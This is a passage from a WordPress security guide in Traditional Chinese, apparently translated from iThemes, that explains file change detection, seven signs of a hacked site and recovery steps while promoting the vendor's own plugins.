    初始文件更改掃描將創建您網站文件及其文件哈希的索引。 文件散列是文件內容的縮短的、非人類可讀的版本。

    初始掃描完成後,iThemes Security Pro 將繼續分塊掃描您的文件。 如果在後續掃描之一中文件哈希發生更改,則意味著文件的內容已更改。

    您還可以通過單擊“文件更改檢測”設置中的“立即掃描文件”按鈕來運行手動文件更改

    WordPress 安全掃描文件更改按鈕

    激活文件更改通知電子郵件

    文件更改一直在發生,每次更改都會收到電子郵件警報,很快就會變得勢不可擋。 不知不覺中,它變成了一個狼吞虎咽的男孩,你開始完全忽略文件更改警報。

    讓我們來看看 iThemes Security Pro 如何智能地識別合法更改以減少通知,以及您如何將預期頻繁更新的文件的通知靜音。

    您可以從 iThemes Security 插件中的通知中心管理所有 iThemes Security 通知。 從您的 WordPress 管理儀表板,訪問安全 > 設置並找到通知中心模塊。

    WordPress 安全文件更改通知設置

    iThemes Security Pro 如何識別合法的文件更改

    iThemes Security Pro 可以通過多種方式檢測對文件所做的更改是否合法且無需擔心。 iThemes Security Pro 不會為它可以驗證的更改創建文件更改通知。

    1. 插件/主題更新由版本管理完成

    iThemes Security Pro 中的版本管理功能允許您自動更新 WordPress、插件和主題。

    WordPress 安全版本管理設置

    如果版本管理完成更新,i​​Themes Security Pro 將知道更新的來源並且不會觸發警報。

    2. iThemes 插件和主題的文件比較

    選中文件更改檢測設置中的在線比較文件框以啟用在線文件比較。

    WordPress 安全在線文件比較

    每當您網站上屬於 iThemes 插件或主題的文件發生更改時,它都會與 iThemes 服務器上的文件進行比較。 如果您網站上文件版本的哈希值與 iThemes 服務器上版本的哈希值匹配,則這將是合法更改,您將不會收到警報。

    3. WordPress.org 在線文件比較

    如果從 WordPress.org 存儲庫安裝的 WordPress 核心文件或插件發生更改,則會將該文件與 WordPress.org 上的版本進行比較。 如果哈希匹配,則更改不是惡意的,您將不會收到警報。

    4. 手動排除

    您可以在文件更改檢測設置中從文件更改檢測中排除文件、目錄和文件類型。

    WordPress 安全手冊文件更改驅逐

    一般規則是可以排除您知道將定期更新的文件。 備份和緩存文件就是一個很好的例子。 排除這些類型的文件將消除很多額外的噪音。

    WordPress 網站被黑的 7 個跡象

    發現自己在問,“我的 WordPress 網站被黑了嗎? ” 意味著你需要一些快速的答案。

    您發現網站違規跡象的速度越快,就可以越快地清理您的網站。 您清理網站的速度越快,黑客對您的網站造成的損害就越小。

    1. 你的主頁不一樣

    對主頁的更改似乎是一個明顯的跡象。 但是,您實際上對您的主頁或主頁進行了多少次徹底檢查? 我知道我通常會直接訪問我的登錄 URL 而不是我的主頁 URL。 從那裡,我登錄、更新我的網站或編輯帖子。 在我完成我來做的事情后,我經常不看我網站的主頁就離開了。

    一些黑客的主要目標是控製網站或聲名狼藉。 因此,他們只會將您的主頁更改為他們覺得有趣的內容,或者留下電話卡被黑的內容

    WordPress 安全被黑的主頁

    如果您確實注意到主頁發生了變化,您可以使用由受信任的 WordPress 備份插件(例如 BackupBuddy)製作的備份文件快速輕鬆地恢復您的網站。

    2.您的網站性能下降

    當您的網站受到感染時,它可能會感覺緩慢。 如果您遇到暴力攻擊,或者如果有惡意腳本使用您的服務器資源進行加密貨幣挖掘,您的網站可能會變慢。 同樣,當 IP 網絡同時向您的網站發送請求以試圖使其崩潰時,就會發生 DDoS(或拒絕服務攻擊)。

    3. 您的網站包含惡意或垃圾郵件彈出廣告

    如果您的訪問者看到將他們重定向到惡意網站的彈出窗口,那麼黑客很有可能已經入侵了您的網站。 這種類型的攻擊的目標是將流量從您的網站轉移到攻擊者的網站,以便他們可以針對點擊欺詐的用戶點擊付費廣告。

    這種類型的黑客最令人沮喪的事情是您可能無法看到彈出窗口。 彈出式黑客可以設計為不對登錄用戶顯示,這降低了網站所有者看到它們的機率。 因此,即使站點所有者註銷,彈出窗口也永遠不會顯示。

    如果您在瀏覽器中使用廣告攔截器擴展程序,您對彈出窗口的查看也會受到限制。 例如,客戶報告了一個彈出窗口黑客並分享了彈出窗口的屏幕截圖和視頻。 在我花了幾個小時瀏覽他們的網站後,我無法重新創建他們報告的任何內容。 我確信他們的個人電腦被黑了,而不是網站被黑了。

    最後,我明白了為什麼我無法看到彈出窗口。 我在我的瀏覽器上安裝了一個廣告攔截器擴展。 一旦我禁用了廣告攔截器擴展程序,我就可以在任何地方看到彈出窗口。 我分享這個令人尷尬的故事是為了讓您免於陷入同樣的錯誤,希望如此。

    4. 您注意到網站流量減少

    如果您登錄您的 Google Analytics 帳戶並發現網站流量急劇下降,則您的 WordPress 網站可能被黑客入侵。 網站流量下降值得調查。 您的網站上可能存在惡意腳本將訪問者從您的網站重定向,或者 Google 可能已經將您的網站列入黑名單為惡意網站。

    您要查找的第一件事是您網站的出站流量。 通過使用 Google Analytics 跟踪您的網站,您需要配置您的網站以跟踪離開您網站的流量。 監控 WordPress 網站出站流量的最簡單方法是使用 WordPress Google Analytics 插件。

    6. 意外的新用戶

    如果您的網站有任何新管理員用戶的意外註冊,這是您的 WordPress 網站已被黑客入侵的另一個跡象。 通過對受感染用戶的利用,攻擊者可以創建新的管理員用戶。 憑藉他們的新管理員權限,黑客已準備好對您的網站造成一些重大損害。

    還記得之前的 WP GDPR 合規性插件嗎? 2018 年 11 月,我們收到了幾份關於在客戶網站上創建新管理員用戶的報告。 黑客利用 WP GDPR 合規性插件中的漏洞(該漏洞已在 1.4.3 版中修補)在運行該插件的 WordPress 站點上創建新的管理員用戶。 該插件漏洞允許未經授權的用戶修改用戶註冊,將默認的新用戶角色從訂閱者更改為管理員。 不幸的是,這不是唯一的漏洞,您不能只刪除攻擊者創建的新用戶並修補插件。

    如果您安裝了 WP GDPR Compliance 和 WooCommerce,您的網站可能已被注入惡意代碼。 攻擊者可以使用 WooCommerce 插件後台安裝程序在數據庫中插入後門安裝程序。 如果您的站點安裝了後門,您應該聯繫黑客修復專家。 另一種選擇是使用備份文件在破壞之前使用以前的備份回滾到您網站的副本。

    7. 刪除管理員用戶

    如果您無法登錄 WordPress 網站,即使在重置密碼後,也可能是嚴重的感染跡象。

    當 Gentoo Github 存儲庫被黑時,攻擊者做的第一件事就是刪除所有管理員用戶。 那麼這個黑客是如何進入他們的 Github 賬戶的呢? 在另一個站點上發現了一個 Gentoo 管理員用戶的密碼。 我猜測用戶名和密碼是通過抓取或數據庫轉儲發現的。

    儘管他們 Gentoo Github 帳戶的管理員密碼與被盜帳戶上使用的密碼不同,但非常相似。 所以這就像我在一個帳戶上使用 iAmAwesome2020 作為密碼,在另一個站點上使用 iAmAwesome2021 作為密碼。 因此,黑客能夠通過一點點努力找出密碼。 正如我們所見,您應該為每個帳戶使用唯一的密碼。 密碼的簡單變化是不夠的。 使用 LastPass,您可以為每個站點生成並安全存儲強大的唯一密碼。

    如何從災難中回來

    如果您懷疑發生了違規行為,您可以採取一些快速步驟來減輕損失。

    還原到您站點的先前/乾淨備份

    消除安全漏洞的最可靠方法是在攻擊之前將您的站點恢復到以前的版本。 這就是為什麼擁有一個全面的 WordPress 備份解決方案如此重要的原因。 我們建議使用 BackupBuddy 安排備份自動運行,以便您始終擁有備份。

    請注意,恢復以前的備份可能仍然會使您的站點容易受到同樣的破壞,因此遵循這些步驟也很重要。

    立即更新所有過時的插件和主題

    易受攻擊的插件或主題可能仍然是罪魁禍首,因此立即更新所有過時的插件或主題很重要。 即使您恢復到以前乾淨的網站版本,相同的漏洞仍然存在並且可能再次被黑客攻擊。

    您可能還想檢查您是否在運行一個仍然沒有開發人員補丁的易受攻擊的插件或主題。 您需要立即刪除此插件。

    啟用兩因素身份驗證

    如果您沒有使用雙因素身份驗證來保護管理員登錄,請立即激活它。 這一額外的安全層將有助於確保未經授權的用戶無法破解任何管理員帳戶。

    尋求專業惡意軟件刪除幫助

    WordPress 安全漏洞發生在服務器級別(比您的 WordPress 安裝更深),因此您可能需要聯繫專業的惡意軟件清除服務。 我們建議使用 WeWatchYourWebsite 進行專業的惡意軟件清除。

    總結:WordPress 安全終極指南

    在這個 WordPress 安全指南中,我們涵蓋了很多! 但是,通過遵循本指南中的提示,您將阻止幾乎 100% 對您網站發起的攻擊。

    WordPress 安全插件可以幫助保護您的 WordPress 網站

    結合本指南中 WordPress 安全主題的知識,WordPress 安全插件可以幫助保護您的 WordPress 網站。 iThemes Security Pro 是我們的 WordPress 安全插件,提供 50 多種方法來保護您的網站免受常見 WordPress 安全漏洞的侵害。 借助 WordPress、雙因素身份驗證、強力保護、強密碼強制執行等,您可以為您的網站增加一層額外的安全性。